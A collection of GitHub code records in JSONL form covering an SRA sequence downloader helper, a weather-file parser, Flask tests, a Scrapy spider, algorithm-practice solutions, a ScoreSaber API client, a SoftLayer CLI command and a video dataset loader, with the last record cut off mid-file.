+{"seq_id":"22441552347","text":"__doc__ = \"\"\"SRR_master的辅助函数\"\"\"\n\nimport os\nimport psutil\nimport platform\nfrom math import ceil\nfrom Sc_RNA_seq.helper import add_color\n\n# 读取配置文件\nfrom Sc_RNA_seq.SRR_master.configure import PRINT_DETAIL\nfrom Sc_RNA_seq.SRR_master.configure import DOWNLOAD_PREFIX\nfrom Sc_RNA_seq.SRR_master.configure import PRINT_WGET_DETAIL\n\n\ndef wget_srr(srr, print_detail, kwargs):\n \"\"\"在命令行执行下载srr\"\"\"\n\n path = kwargs['path']\n # 如果当前目录已存在文件,则不用下载\n if os.path.exists(os.path.join(path, srr + '.sra')):\n return\n\n # 拼接形成下载srr的url\n url_split = [DOWNLOAD_PREFIX, srr[:6], srr, srr + '.sra']\n url = '/'.join(url_split)\n\n try:\n # -c是断点续传\n command_list = ['wget -c', str(url)]\n if not PRINT_WGET_DETAIL:\n command_list.append('-q')\n command_list.extend(['-P', str(path)])\n command = ' '.join(command_list)\n info = os.system(command)\n if print_detail:\n if info:\n text = add_color('× ' + url, 'red')\n # 删掉下载错误的文件\n remove_file(os.path.join(path, srr + '.sra'))\n else:\n text = add_color('√ ' + url, 'green')\n print(text)\n except KeyboardInterrupt:\n # 这条try-except只会在Windows下会执行\n # Windows下子进程先捕获到KeyboardInterrupt,然后传给父进程\n # 而Linux是父进程先捕获到KeyboardInterrupt,然后子进程变成孤儿进程继续运行\n # 我在这里用try-except专门处理Windows下的情况,在consumer函数中专门处理Linux的情况\n\n # 删掉中断下载时那个没下载完的文件\n remove_file(os.path.join(path, srr + '.sra'))\n raise KeyboardInterrupt\n\n\ndef remove_file(target):\n \"\"\"对于下载错误、处理错误、中间产生的文件进行删除\"\"\"\n\n if os.path.exists(target):\n os.remove(target)\n\n\ndef check(target):\n \"\"\"检测操作系统、cpu、内存、硬盘空间、网络\"\"\"\n\n try:\n print('====================')\n result = {}\n if target == 'operator_system':\n print('检查操作系统:')\n operator_system = platform.platform()\n text = add_color(operator_system, 'green')\n result['operator_system'] = operator_system\n elif target == 'cpu':\n print('检查CPU:')\n true_cpu = psutil.cpu_count(logical=False)\n logical_cpu = psutil.cpu_count(logical=True)\n text = '物理核数:%s 逻辑核数:%s' % (add_color(str(true_cpu), 'green'), add_color(str(logical_cpu), 'green'))\n result['true_cpu'] = true_cpu\n result['logical_cpu'] = logical_cpu\n elif target == 'memory':\n print('检查内存:')\n size = psutil.virtual_memory()\n free = round(size.free / 10 ** 9, 3)\n used = round(size.used / 10 ** 9, 3)\n text = '内存 free: %s used: %s' % (add_color(str(free) + 'G', 'green'), add_color(str(used) + 'G', 'red'))\n result['used'] = used\n result['free'] = free\n elif target == 'device':\n print('检查硬盘:')\n print(add_color('在Linux下结果可能不准,在命令行中输入df -h查看硬盘', 'red'))\n all_devices = psutil.disk_partitions()\n text_list = []\n for device in all_devices:\n size = psutil.disk_usage(device.device)\n free = add_color(str(round(size.free / 10 ** 9, 3)) + 'G', 'green')\n used = add_color(str(round(size.used / 10 ** 9, 3)) + 'G', 'red')\n text_list.append('%s free: %s used: %s' % (device.device, free, used))\n text = '\\n'.join(text_list)\n elif target == 'network':\n print('检查网络:')\n print(add_color('Linux下如果不能自行停止请按Ctrl+C', 'red'))\n url = 'www.baidu.com'\n connect = os.system('ping %s' % url)\n if connect:\n text = add_color('%s 连接失败' % url, 'red')\n else:\n text = add_color('%s 连接成功' % url, 'green')\n result['connect'] = connect\n else:\n text = \"target must be in {operator_system, cpu, memory, device, network}\"\n\n print(text)\n return result\n except Exception:\n text = '无法检查当前操作系统的%s' % target\n print(add_color(text, 'red'))\n\n return None\n\n\ndef producer(task, queue, print_detail, queue_size):\n \"\"\"将任务放进队列,在进程间共享\"\"\"\n\n targets = task[:]\n n_task = len(targets)\n n_put = - queue_size\n n_rest = queue_size + len(task)\n\n while True:\n n_rest -= 1\n n_put += 1\n if targets:\n queue.put(targets.pop())\n\n else:\n # 队列里的任务分发完了,就向队列中发送终止信号\n queue.put('close')\n\n # 输出已分发任务个数和已完成的任务\n if 0 < n_put <= n_task and print_detail:\n text = add_color('分发第%d个任务,剩余%d个任务' % (n_put, n_rest), 'green')\n print(text)\n\n\ndef consumer(consumer_name, queue, print_detail, fun, **kwargs):\n \"\"\"消耗队列里的任务\"\"\"\n\n father_id = os.getppid()\n\n # 当父进程被杀死后,getppid将会得到1,所以子进程的while循环也会被终止\n # 我在这里专门处理Linux下的情况,在wget_url函数中专门处理Windows的情况\n while os.getppid() == father_id:\n target = queue.get()\n if target != 'close':\n if print_detail:\n consumer_name = str(consumer_name)\n # text = add_color('消费者'+consumer_name+' get:'+target, 'yellow')\n # print(text)\n pass\n fun(target, print_detail, kwargs)\n else:\n # 如果接受到了终止信号,则停止进程\n break\n\n\ndef distribute_srr(finished_srr, n_worker):\n \"\"\"用于给多进程分发任务\"\"\"\n\n n_srr_per_worker = int(ceil(len(finished_srr) / n_worker))\n split = range(0, len(finished_srr), n_srr_per_worker)\n srr_per_worker = [finished_srr[i: i + n_srr_per_worker] for i in split]\n n_worker = len(srr_per_worker)\n return n_worker, srr_per_worker\n\n\ndef integration_worker(sub_finished_srr, all_result_path):\n \"\"\"对分配的SRR子任务进行读取\"\"\"\n\n pid = os.getpid()\n sub_gse_data_dict = {}\n for count, srr in enumerate(sub_finished_srr, 1):\n if count % 300 == 0 and PRINT_DETAIL:\n print(f'进程: {pid} 完成: {count}/{len(sub_finished_srr)}')\n try:\n with open(os.path.join(all_result_path, srr)) as f:\n # 读掉开始两行\n f.readline()\n f.readline()\n expression = [int(line.strip().split('\\t')[-1]) for line in f]\n sub_gse_data_dict[srr] = expression\n except Exception as e:\n text = '处理错误: ' + srr\n print(add_color(text, 'red'))\n print(add_color(str(e), 'red'))\n return sub_gse_data_dict\n","repo_name":"LittleBearX/Sc_RNA_seq","sub_path":"SRR_master/srr_helper.py","file_name":"srr_helper.py","file_ext":"py","file_size_in_byte":7250,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"7930750737","text":"# -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport csv\n\nclass epw():\n \"\"\"A class which represents an EnergyPlus weather (epw) file\n \"\"\"\n \n def __init__(self):\n \"\"\"\n \"\"\"\n self.headers={}\n self.dataframe=pd.DataFrame()\n \n \n def read(self,fp):\n \"\"\"Reads an epw file \n \n Arguments:\n - fp (str): the file path of the epw file \n \n \"\"\"\n \n self.headers=self._read_headers(fp)\n self.dataframe=self._read_data(fp)\n \n \n def _read_headers(self,fp):\n \"\"\"Reads the headers of an epw file\n \n Arguments:\n - fp (str): the file path of the epw file \n \n Return value:\n - d (dict): a dictionary containing the header rows \n \n \"\"\"\n \n d={}\n with open(fp, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for row in csvreader:\n if row[0].isdigit():\n break\n else:\n d[row[0]]=row[1:]\n return d\n \n \n def _read_data(self,fp):\n \"\"\"Reads the climate data of an epw file\n \n Arguments:\n - fp (str): the file path of the epw file \n \n Return value:\n - df (pd.DataFrame): a DataFrame comtaining the climate data\n \n \"\"\"\n \n names=['Year',\n 'Month',\n 'Day',\n 'Hour',\n 'Minute',\n 'Data Source and Uncertainty Flags',\n 'Dry Bulb Temperature',\n 'Dew Point Temperature',\n 'Relative Humidity',\n 'Atmospheric Station Pressure',\n 'Extraterrestrial Horizontal Radiation',\n 'Extraterrestrial Direct Normal Radiation',\n 'Horizontal Infrared Radiation Intensity',\n 'Global Horizontal Radiation',\n 'Direct Normal Radiation',\n 'Diffuse Horizontal Radiation',\n 'Global Horizontal Illuminance',\n 'Direct Normal Illuminance',\n 'Diffuse Horizontal Illuminance',\n 'Zenith Luminance',\n 'Wind Direction',\n 'Wind Speed',\n 'Total Sky Cover',\n 'Opaque Sky Cover (used if Horizontal IR Intensity missing)',\n 'Visibility',\n 'Ceiling Height',\n 'Present Weather Observation',\n 'Present Weather Codes',\n 'Precipitable Water',\n 'Aerosol Optical Depth',\n 'Snow Depth',\n 'Days Since Last Snowfall',\n 'Albedo',\n 'Liquid Precipitation Depth',\n 'Liquid Precipitation Quantity']\n \n first_row=self._first_row_with_climate_data(fp)\n df=pd.read_csv(fp,\n skiprows=first_row,\n header=None,\n names=names)\n return df\n \n \n def _first_row_with_climate_data(self,fp):\n \"\"\"Finds the first row with the climate data of an epw file\n \n Arguments:\n - fp (str): the file path of the epw file \n \n Return value:\n - i (int): the row number\n \n \"\"\"\n \n with open(fp, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for i,row in enumerate(csvreader):\n if row[0].isdigit():\n break\n return i\n \n \n def write(self,fp):\n \"\"\"Writes an epw file \n \n Arguments:\n - fp (str): the file path of the new epw file \n \n \"\"\"\n \n with open(fp, 'w', newline='') as csvfile:\n csvwriter = csv.writer(csvfile, delimiter=',',\n quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n for k,v in self.headers.items():\n csvwriter.writerow([k]+v)\n for row in self.dataframe.itertuples(index= False):\n csvwriter.writerow(i for i in row)","repo_name":"building-energy/epw","sub_path":"epw/epw.py","file_name":"epw.py","file_ext":"py","file_size_in_byte":4255,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"53"}
+{"seq_id":"32797196859","text":"from __future__ import annotations\n\nimport json\nimport unittest\nfrom datetime import date\nfrom unittest.mock import patch\n\nfrom tests.application_test import application_test\nfrom tests.fixtures.movie_snapshots_builder import MovieSnapshotsBuilder\nfrom tests.test_client import add_test_client\n\n\n@application_test()\n@add_test_client()\nclass MovieSnapshotResourceTest(unittest.TestCase):\n\n @patch(\"flaskr.resource.movie_snapshots_resource.MovieSnapshotsService\")\n def test_should_return_Ok_given_a_request_to_get_all_movie_snapshots(self, movie_snapshots_service):\n movie_snapshots_service.return_value.get_all.return_value = []\n response = self.test_client.get(\"/movie-snapshots\")\n self.assertEqual(200, response.status_code)\n\n @patch(\"flaskr.resource.movie_snapshots_resource.MovieSnapshotsService\")\n def test_should_return_no_snapshots_given_no_snapshots_exist(self, movie_snapshots_service):\n movie_snapshots_service.return_value.get_all.return_value = []\n response = self.test_client.get(\"/movie-snapshots\")\n self.assertEqual([], response.json)\n\n @patch(\"flaskr.resource.movie_snapshots_resource.MovieSnapshotsService\")\n def test_should_assert_total_snapshots_to_equal_1(self, movie_snapshots_service):\n movie_snapshots_service.return_value.get_all.return_value = [MovieSnapshotsBuilder.any_snapshot().finish()]\n response = self.test_client.get(\"/movie-snapshots\")\n movie_snapshots = response.json\n self.assertEqual(1, len(movie_snapshots))\n\n @patch(\"flaskr.resource.movie_snapshots_resource.MovieSnapshotsService\")\n def test_should_assert_all_snapshots(self, movie_snapshots_service):\n movie_snapshot = MovieSnapshotsBuilder.snapshot_title(\"3 idiots\") \\\n .directed_by(\"Rajkumar Hirani\") \\\n .released_on(date(2009, 12, 25)) \\\n .add_rating_with(value=\"9/10\", source=\"internet\") \\\n .finish()\n\n expected_json = '[{\"title\": \"3 idiots\", \"director\": \"Rajkumar Hirani\", \"release_year\": 2009, \"release_date\": ' \\\n '\"2009-12-25\", \"ratings\": [{\"value\": \"9/10\", \"source\": \"internet\"}]}]'\n\n expected_movie_snapshot_views = json.loads(expected_json)\n\n movie_snapshots = [movie_snapshot]\n movie_snapshots_service.return_value.get_all.return_value = movie_snapshots\n\n response = self.test_client.get(\"/movie-snapshots\")\n actual_movie_snapshot_views = response.json\n self.assertEqual(expected_movie_snapshot_views, actual_movie_snapshot_views)\n","repo_name":"SarthakMakhija/movie-inventory","sub_path":"tests/unit/test_movie_snapshots_resource.py","file_name":"test_movie_snapshots_resource.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"23791873061","text":"# -*- coding: utf-8 -*-\nimport codecs\nimport json\nfrom xpc import items,pipelines,middlewares\nimport scrapy\n# 使用RedisSpider替换scrapy.Spider 同时删除start_urls.\n# 在redis中插入 name:start_urls 值作为start_urls.\nfrom scrapy_redis.spiders import RedisSpider\nfrom scrapy import Request\n\n\nclass DiscoverySpider(RedisSpider):\n name = 'discovery'\n allowed_domains = ['www.xinpianchang.com']\n start_urls = ['http://www.xinpianchang.com/channel/index/sort-like?from=tabArticle']\n composer_url = 'http://www.xinpianchang.com/u%s?from=articleList'\n\n def parse(self, response):\n pid_list = response.xpath(\"//ul[@class='video-list']/li/@data-articleid\").extract()\n # //ul[@class='video-list']/li/@data-articleid\n thumbnail_list = response.xpath(\"//a[@class='video-cover']/img/@_src\").extract()\n # print(thumbnail)\n # print(len(pid_list))\n url = 'http://www.xinpianchang.com/a%s'\n comment_url = 'http://www.xinpianchang.com/article/filmplay/ts-getCommentApi/id-%s/page-%s'\n # http://www.xinpianchang.com/article/filmplay/ts-getCommentApi/id-10214584/page-2/pagesizi-10\n for num, pid in enumerate(pid_list):\n req = Request(url % pid, callback=self.parse_post)\n req.meta['pid'] = pid\n req.meta['thumbnail'] = thumbnail_list[num]\n yield req\n req_comment = Request(comment_url % (pid,'1'), callback=self.parse_comment)\n req_comment.meta['id'] = pid\n yield req_comment\n next_page = response.xpath('//div[@class=\"page\"]/a[last()]/@href').get()\n if next_page:\n yield response.follow(next_page,callback=self.parse)\n # for pid in pid_list:\n # req_comment = Request(comment_url % pid, callback=self.parse_comment)\n # req_comment.meta['id'] = pid\n # yield req_comment\n\n def parse_post(self, response):\n # print(response.url)\n post = items.PostItem()\n post['thumbnail'] = response.meta['thumbnail']\n post['pid'] = response.meta['pid']\n post['title'] = response.xpath(\"//div[@class='title-wrap']/h3/text()\").get()\n post['preview'] = response.xpath('//div[@class=\"filmplay\"]//img/@src').extract_first()\n post['video'] = response.xpath(\"//source/@src\").get()\n cates = response.xpath(\"//span[@class='cate v-center']/a/text()\").extract()\n for i in range(len(cates)):\n cates[i] = cates[i].strip()\n post['category'] = '-'.join(cates)\n # 缩略图\n # post['thumbnail'] = response.xpath(\"//img[@class='lazy-img lazy-img-show']/@src\").extract()\n # 发布时间\n post['created_at'] = response.xpath(\"//span[@class='update-time v-center']/i/text()\").get()\n # 播放次数\n post['play_counts'] = response.xpath(\"//div[@class='filmplay-data-play filmplay-data-info']//i/text()\").get().replace(',','')\n # 点赞次数\n post['like_counts'] = response.xpath(\"//span[@class='like-btn v-center']/span/@data-counts\").get()\n # 描述\n post['description'] = response.xpath(\"//div[@class='filmplay-info-desc left-section']/p/text()\").get()\n if post['description'] is not None: # 去除\\t \\n等无用字符\n post['description'] = post['description'].strip()\n\n yield (post)\n\n creator_list = response.xpath(\"//div[@class='user-team']/div/ul/li\")\n for a in creator_list:\n cr = items.CopyrightItem()\n cr['cid'] = a.xpath(\"./a/@data-userid\").get()\n cr['pid'] = post['pid']\n cr['pcid'] = cr['cid']+'_'+cr['pid']\n cr['roles'] = a.xpath(\"./div/span/text()\").get()\n yield cr\n post_req_composer = Request(self.composer_url % cr['cid'], callback=self.parse_composer)\n post_req_composer.meta['cid'] = cr['cid']\n yield post_req_composer\n # yield response.follow(self.composer_url % cr['cid'], callback=self.parse_composer)\n # cr = {}\n # cr['cid'] = response.xpath(\"//div[contains(@class,'filmplay-creator')]//li/a/@data-userid\").get()\n # cr['pid'] = post['pid']\n # cr['roles'] = response.xpath(\"//div[contains(@class,'filmplay-creator')]//li/div/span/text()\").get()\n # yield response.follow(composer_url % cr['cid'],callback=self.parse_composer)\n\n def parse_composer(self, response):\n composer_list = items.ComposerItem()\n composer_list['cid'] = response.meta['cid']\n composer_list['banner'] = response.xpath(\"//div[@class='banner-wrap']/@style\").get()[21:-1] # banner[21:-1]\n composer_list['avatar'] = response.xpath(\"//span[@class='avator-wrap-s']/img/@src\").get()\n composer_list['name'] = response.xpath(\"//div[@class='creator-info']/p[1]/text()\").get()\n composer_list['intro'] = response.xpath(\"//div[@class='creator-info']/p[2]/text()\").get()\n composer_list['like_counts'] = response.xpath(\"//span[contains(@class,'like-counts')]/text()\").get().replace(\n ',', '')\n composer_list['fans_counts'] = response.xpath(\"//span[contains(@class,'fans-counts')]/text()\").get().replace(',','')\n composer_list['follow_counts'] = response.xpath(\"//span[@class='follow-wrap']/span[2]/text()\").get()\n composer_list['location'] = response.xpath(\n \"//span[contains(@class,'icon-location')]/following-sibling::span[1]/text()\").get()\n composer_list['career'] = response.xpath(\n \"//span[contains(@class,'icon-career')]/following-sibling::span[1]/text()\").get()\n yield composer_list\n\n # http://www.xinpianchang.com/u10000475?from=articleList\n # 导航背景图 banner\n # 作者名 name\n # 作者头像 avatar\n # 作者简介 intro 可能为空\n # 人气 like_counts\n # 粉丝 fans_counts\n # 关注 follows_counts\n # 所在地 location 可能为空 相邻的第一个span标签following-sibling::span[1]\n # 职业 career 可能为空 [contains(@class,'classname')]\n # parse_composer\n\n def parse_comment(self, response):\n # print(response.url)\n # obj = json.dumps(response.text,ensure_ascii=False)\n # fp = codecs.open('output.txt', 'a+', 'utf-8')\n # fp.write(obj)\n # fp.close()\n obj = json.loads(response.text)\n next_page_url = obj['data']['next_page_url']\n if next_page_url is not None:\n yield response.follow(next_page_url, callback=self.parse_comment)\n total = obj['data']['total']\n total_page = obj['data']['total_page']\n comment_list = obj['data']['list']\n # print(len(comment_list))\n # id = response.meta['id']\n # print('id是:%s,评论%s条'% (count,len(comment_list)))\n # print(obj['data']['next_page_url'])\n # username_list = {}\n\n for ccc in comment_list:\n comment = items.CommentItem()\n comment['commentid'] = ccc['commentid']\n comment['pid'] = ccc['articleid']\n comment['content'] = ccc['content']\n comment['like_counts'] = ccc['count_approve']\n comment['created_at'] = ccc['addtime']\n comment['cid'] = ccc['userInfo']['userid']\n comment['uname'] = ccc['userInfo']['username']\n comment['avatar'] = ccc['userInfo']['face']\n if ccc['reply']:\n comment['reply'] = ccc['reply']['commentid']\n yield comment\n comment_req_composer = Request(self.composer_url % comment['pid'], callback=self.parse_composer)\n comment_req_composer.meta['cid'] = comment['cid']\n yield comment_req_composer\n # json.dump(obj, f)\n","repo_name":"skyyykk/xpc_scrapy","sub_path":"xpc/spiders/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":7679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"10623669387","text":"def solution(n, computers):\n answer = 0\n queue = []\n visited = []\n for a in range(n):\n if a not in visited:\n queue.append(a)\n answer += 1\n print(queue)\n while queue : # 큐가 빌때까지 반복\n now = queue.pop(0) \n for i in range(n):\n if computers[now][i] == 1 and i not in visited:\n visited.append(i)\n queue.append(i)\n print(visited,queue)\n return answer","repo_name":"examplezi/Programmers","sub_path":"프로그래머스/lv3/43162. 네트워크/네트워크.py","file_name":"네트워크.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32302107702","text":"# 백준 14425.py\n# \n# 입력\n# 집합 S에 포함된 문자열의 개수 N, 판별해야 할 문자열의 개수 M\n# N개의 문자열\n# ...\n# M개의 문자열\n# ...\nimport sys\n\n\nsi = sys.stdin.readline\nn, m = map(int, si().split())\ns = {}\nfor _ in range(n):\n s[si().strip()] = 1\n\nin_s_count = 0\nfor _ in range(m):\n if s.get(si().strip()):\n in_s_count += 1\n\nprint(in_s_count)\n","repo_name":"Oneul1213/AlgorithmPractice","sub_path":"src/main/python/boj/14425.py","file_name":"14425.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8104054036","text":"import requests\nimport json\nimport asyncio\nfrom config import api_request_cooldown\nfrom time import time\nfrom math import ceil\n\napi_cooldown = [0]\nrequest_cache = {}\nuser_agent = {'User-agent': 'scoresaber_dc_announcer_Klappson#0110'}\nprofile_name_url = \"https://new.scoresaber.com/api/players/by-name/{0}\"\nprofile_id = \"https://new.scoresaber.com/api/player/{0}/full\"\nscores_id_page = \"https://new.scoresaber.com/api/player/{0}/scores/recent/{1}\"\n\n\nasync def get_score_page(player_id, page, retries=2) -> list[dict]:\n api_respo = await api_request(\n url=scores_id_page.format(player_id, page),\n retries=retries\n )\n return api_respo[\"scores\"]\n\n\nasync def get_latest_song(player_id):\n scores = await get_score_page(player_id, 1)\n\n if len(scores) < 0:\n return None\n return scores[0]\n\n\nasync def get_full_profile(player_id, retries=2) -> dict:\n return await api_request(\n url=profile_id.format(player_id),\n retries=retries\n )\n\n\nasync def search_player(player_name, retries=2) -> list[dict]:\n api_respo = await api_request(\n url=profile_name_url.format(player_name),\n retries=retries\n )\n return api_respo[\"players\"]\n\n\ndef check_cache(url: str):\n if url not in request_cache:\n print(f\"{url} is not cached\")\n return None\n cache_tupel = request_cache[url]\n cache_age = int(time()) - cache_tupel[0]\n\n if cache_age > 60:\n print(f\"{url} is cached but to old ({cache_age}s)\")\n return None\n\n print(f\"{url} is still cached ({cache_age}s)\")\n return cache_tupel[1]\n\n\nasync def api_request(url: str, retries=0) -> dict:\n cache_result = check_cache(url)\n if cache_result is not None:\n return cache_result\n\n since_last_request = int(time()) - api_cooldown[0]\n if since_last_request < api_request_cooldown:\n sleep_time = ceil(api_request_cooldown - since_last_request)\n print(f\"Waiting {sleep_time} seconds before next api-request\")\n await asyncio.sleep(sleep_time)\n\n async def retry(ex_msg=\"\"):\n if ex_msg != \"\":\n print(ex_msg)\n if retries > 0:\n print(f\"Request Failed! Retrying... {retries}\")\n await asyncio.sleep(10)\n return await api_request(url, (retries - 1))\n else:\n raise IOError(f\"Ran out of retries for {url}\")\n\n try:\n print(f\"Requesting: {url}\")\n request_result = requests.get(url, headers=user_agent)\n api_cooldown[0] = int(time())\n\n if request_result.status_code != 200:\n return await retry(\"HTTP-Code is not 200\")\n\n clean_result = request_result.text.replace(\"'\", \"`\")\n retu = json.loads(clean_result)\n request_cache[url] = (int(time()), retu)\n return retu\n except Exception as e:\n return await retry(repr(e))\n","repo_name":"Klappson/ScoreSaber-announcer-bot","sub_path":"bot_utils/scoresaber.py","file_name":"scoresaber.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"24878084337","text":"\"\"\"Call arbitrary API endpoints.\"\"\"\nimport click\n\nfrom SoftLayer.CLI import environment\nfrom SoftLayer.CLI import exceptions\nfrom SoftLayer.CLI import formatting\nfrom SoftLayer.CLI import helpers\nfrom SoftLayer import utils\n\nSPLIT_TOKENS = [\n ('in', ' IN '),\n ('eq', '='),\n]\n\n\ndef _build_filters(_filters):\n \"\"\"Builds filters using the filter options passed into the CLI.\n\n This only supports the equals keyword at the moment.\n \"\"\"\n root = utils.NestedDict({})\n for _filter in _filters:\n operation = None\n for operation, token in SPLIT_TOKENS:\n # split \"some.key=value\" into [\"some.key\", \"value\"]\n top_parts = _filter.split(token, 1)\n if len(top_parts) == 2:\n break\n else:\n raise exceptions.CLIAbort('Failed to find valid operation for: %s'\n % _filter)\n\n key, value = top_parts\n current = root\n # split \"some.key\" into [\"some\", \"key\"]\n parts = [part.strip() for part in key.split('.')]\n\n # Actually drill down and add the filter\n for part in parts[:-1]:\n current = current[part]\n\n if operation == 'eq':\n current[parts[-1]] = utils.query_filter(value.strip())\n elif operation == 'in':\n current[parts[-1]] = {\n 'operation': 'in',\n 'options': [{\n 'name': 'data',\n 'value': [p.strip() for p in value.split(',')],\n }],\n }\n\n return root.to_dict()\n\n\ndef _build_python_example(args, kwargs):\n sorted_kwargs = sorted(kwargs.items())\n\n call_str = 'import SoftLayer\\n\\n'\n call_str += 'client = SoftLayer.create_client_from_env()\\n'\n call_str += 'result = client.call('\n arg_list = [repr(arg) for arg in args]\n arg_list += [key + '=' + repr(value)\n for key, value in sorted_kwargs if value]\n call_str += ',\\n '.join(arg_list)\n call_str += ')'\n\n return call_str\n\n\n@click.command('call', short_help=\"Call arbitrary API endpoints.\")\n@click.argument('service')\n@click.argument('method')\n@click.argument('parameters', nargs=-1)\n@click.option('--id', '_id', help=\"Init parameter\")\n@helpers.multi_option('--filter', '-f', '_filters',\n help=\"Object filters. This should be of the form: \"\n \"'property=value' or 'nested.property=value'. Complex \"\n \"filters like betweenDate are not currently supported.\")\n@click.option('--mask', help=\"String-based object mask\")\n@click.option('--limit', type=click.INT, help=\"Result limit\")\n@click.option('--offset', type=click.INT, help=\"Result offset\")\n@click.option('--output-python / --no-output-python',\n help=\"Show python example code instead of executing the call\")\n@environment.pass_env\ndef cli(env, service, method, parameters, _id, _filters, mask, limit, offset,\n output_python=False):\n \"\"\"Call arbitrary API endpoints with the given SERVICE and METHOD.\n\n Example::\n\n slcli call-api Account getObject\n slcli call-api Account getVirtualGuests --limit=10 --mask=id,hostname\n slcli call-api Virtual_Guest getObject --id=12345\n slcli call-api Metric_Tracking_Object getBandwidthData --id=1234 \\\\\n \"2015-01-01 00:00:00\" \"2015-01-1 12:00:00\" public\n slcli call-api Account getVirtualGuests \\\\\n -f 'virtualGuests.datacenter.name=dal05' \\\\\n -f 'virtualGuests.maxCpu=4' \\\\\n --mask=id,hostname,datacenter.name,maxCpu\n slcli call-api Account getVirtualGuests \\\\\n -f 'virtualGuests.datacenter.name IN dal05,sng01'\n \"\"\"\n\n args = [service, method] + list(parameters)\n kwargs = {\n 'id': _id,\n 'filter': _build_filters(_filters),\n 'mask': mask,\n 'limit': limit,\n 'offset': offset,\n }\n\n if output_python:\n env.out(_build_python_example(args, kwargs))\n else:\n result = env.client.call(*args, **kwargs)\n env.fout(formatting.iter_to_table(result))\n","repo_name":"itirohidaka/PowerOff-Functions","sub_path":"virtualenv/lib/python2.7/site-packages/SoftLayer/CLI/call_api.py","file_name":"call_api.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"16608203893","text":"#message = str(input(\"Enter your age here: \"))\n\n#print(\"My age is \" + message)\n\nnumbers = [5,3,5,6,3,5,3]\nword = \"because\"\n\ndef isPrime(num):\n for i in range(2, num):\n if (num%i == 0):\n return False\n return True\n\nnewWord = number\n\n\n\n\n\n\n","repo_name":"anshvijay28/projectEuler","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"75064460648","text":"from torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\nfrom dataset.utils import multiLabel_binarizer\nimport torchvision\nimport os.path as osp\nimport os\nimport numpy as np\nimport random\nimport torch\nfrom glob import glob\nimport dataset.video_container as container\nimport dataset.video_decoder as decoder\nimport utils.logger as _logger\n\nlogger = _logger.get_logger(__name__)\n\n\nclass CATER(Dataset):\n def __init__(self, cfg, mode='train'):\n\n # Only support train, val, and test mode.\n assert mode in [\"train\", \"val\", \"test\", ], \\\n \"Split '{}' not supported for CATER\".format(mode)\n\n assert cfg.TASK in [1, 2, 3], \\\n \"Task {} not supported for CATER\".format(cfg.TASK)\n\n self.mode = mode\n self.cfg = cfg\n self.num_tries = 10\n self.ext = [\"avi\", \"mp4\"]\n self.video_meta = {}\n\n if self.mode in [\"train\", \"val\"]:\n self._num_clips = 1\n elif self.mode in [\"test\"]:\n self._num_clips = (\n cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS\n )\n\n logger.info(\"Load CATER {}...\".format(mode))\n self._load_data()\n logger.info(\"Successfully load CATER {} (size:{}).\".format(\n self.mode, len(self.video_paths)))\n\n def _load_data(self):\n\n task_name = ['actions_present', 'actions_order_uniq', 'localize']\n label_txt = \"train\" if self.mode in [\"train\"] else \"val\"\n # open label file\n label_path = osp.join(\n self.cfg.DATA_PATH,\n 'lists',\n task_name[self.cfg.TASK-1],\n label_txt+'.txt'\n )\n assert os.path.exists(label_path), \\\n \"{} label file not found\".format(label_path)\n\n with open(label_path) as f:\n\n # save paths for avi and strip\n path_dict = {}\n video_dir = osp.join(self.cfg.DATA_PATH, \"videos\")\n assert os.path.exists(video_dir), \\\n \"{} no such videos dir\".format(video_dir)\n\n for path in os.listdir(video_dir):\n if path.split('.')[-1] in self.ext:\n path_dict[path.split('.')[0]] = osp.join(\n self.cfg.DATA_PATH, \"videos\", path)\n\n # save video paths and labels\n self.video_paths = []\n self.labels = []\n self.spatial_temporal_idx = []\n clip_idx = 0\n for line in f.read().strip().split(\"\\n\"):\n name, string_label = line.strip().split()\n if name.split(\".\")[0] in path_dict:\n for idx in range(self._num_clips):\n self.video_paths.append(path_dict[name.split(\".\")[0]])\n self.spatial_temporal_idx.append(idx)\n self.video_meta[clip_idx * self._num_clips + idx] = {}\n if self.cfg.TASK in [1, 2]:\n self.labels.append(\n multiLabel_binarizer(\n self.cfg,\n [int(i) for i in string_label.split(\",\")]\n )\n )\n else:\n self.labels.append(int(string_label))\n clip_idx+=1\n \n assert (\n len(self.video_paths) > 0\n ), \"Failed to load CATER split {} from {}\".format(\n self.mode, video_dir\n )\n\n def __len__(self):\n return len(self.video_paths)\n\n def __getitem__(self, index):\n\n if self.mode in [\"train\", \"val\"]:\n # -1 indicates random sampling.\n temporal_sample_index = -1\n spatial_sample_index = -1\n min_scale = self.cfg.DATA.TRAIN_JITTER_SCALES[0]\n max_scale = self.cfg.DATA.TRAIN_JITTER_SCALES[1]\n crop_size = self.cfg.DATA.TRAIN_CROP_SIZE\n elif self.mode in [\"test\"]:\n temporal_sample_index = (\n self.spatial_temporal_idx[index]\n // self.cfg.TEST.NUM_SPATIAL_CROPS\n )\n # spatial_sample_index is in [0, 1, 2]. Corresponding 